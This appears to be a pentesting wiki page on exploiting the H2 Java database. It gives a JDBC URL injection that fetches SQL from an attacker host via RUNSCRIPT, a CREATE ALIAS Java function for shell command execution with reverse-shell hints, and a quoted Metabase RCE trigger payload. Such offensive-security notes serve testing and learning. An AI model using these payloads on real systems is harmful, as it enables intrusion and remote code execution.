H2 - Java SQL database
H2 is a Java SQL database that supports embedded and server modes. See the official documentation.[1]
Access
With an embedded H2 URL, connecting to a nonexistent database creates it by default, and the supplied user becomes its administrator. Remote creation through the H2 Console or a server interface is disabled by default in current versions; it must have been explicitly enabled to use this behavior remotely.[1]

The console can also connect to another supported database when its JDBC URL, database name, and credentials are known:

This technique appeared in the Hack The Box machine Hawk.
RCE with database access
When an attacker can execute SQL with sufficient privileges, H2 aliases can expose Java methods and lead to command execution in the database process. The referenced proof of concept demonstrates this technique.[2]
H2 JDBC URL / connection-pool injection
If an application lets you edit an H2 JDBC URL (for example through a DB connection-pool config page), treat it as a potential code-execution surface. H2 can run SQL automatically when a connection opens using INIT=, and RUNSCRIPT can pull that SQL from an attacker-controlled URL. In Apache NiFi this was exposed as CVE-2023-34468 in DBCPConnectionPool / HikariCPConnectionPool through 1.21.0; 1.22.0 rejects H2 JDBC URLs for that vulnerable surface.[4][6]
- Change the URL to something like
jdbc:h2:mem:maint;INIT=RUNSCRIPT FROM 'http://ATTACKER/poc.sql'. - Force the target to open a new connection (disable/re-enable the pool, restart the dependent job, or trigger reconnection another way).
- Serve
poc.sqlfrom a simple HTTP server and watch the access logs to confirm the trigger. Stop scheduled tasks while iterating payloads because some apps will reconnect and fetch the script repeatedly.
A common second stage is to register a Java-backed function with CREATE ALIAS and turn SQL execution into OS command execution:[5][7]
CREATE ALIAS SHELLEXEC AS $$
String shellexec(String cmd) throws java.io.IOException {
String[] c = {"bash", "-c", cmd};
java.util.Scanner s = new java.util.Scanner(
Runtime.getRuntime().exec(c).getInputStream()
).useDelimiter("\A");
return s.hasNext() ? s.next() : "";
} $$;
CALL SHELLEXEC('id');
Using bash -c keeps redirections, pipes, and & working for reverse-shell payloads; without a shell wrapper, Runtime.getRuntime().exec(...) does not interpret those metacharacters for you.[7][8]
NiFi note: before spending time on the H2 path, check whether the user can create or schedule processors such as ExecuteProcess. In NiFi, that level of flow administration is already equivalent to OS command execution even without the H2-specific bug.[6][8]
H2 SQL Injection to RCE
Assetnote demonstrated how an H2 connection-string injection in Metabase could create a JavaScript trigger and obtain pre-authentication remote code execution. The payload below is an abbreviated example from that research.[3]
[...]
"details":
{
"db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER IAMPWNED BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\nnew java.net.URL('https://example.com/pwn134').openConnection().getContentLength()\n$$--=x\\;",
"advanced-options": false,
"ssl": true
},
[...]
References
- [1] H2 documentation: Creating New Databases
- [2] h4ckninja: H2 database command-execution proof of concept
- [3] Assetnote: Chaining Our Way to Pre-Auth RCE in Metabase (CVE-2023-38646)
- [4] H2 Features - INIT property / database URL settings
- [5] H2 Commands - RUNSCRIPT and CREATE ALIAS
- [6] Apache NiFi Security Reporting - CVE-2023-34468 and command-executing processors
- [7] Abusing H2 Database ALIAS
- [8] HTB: Helix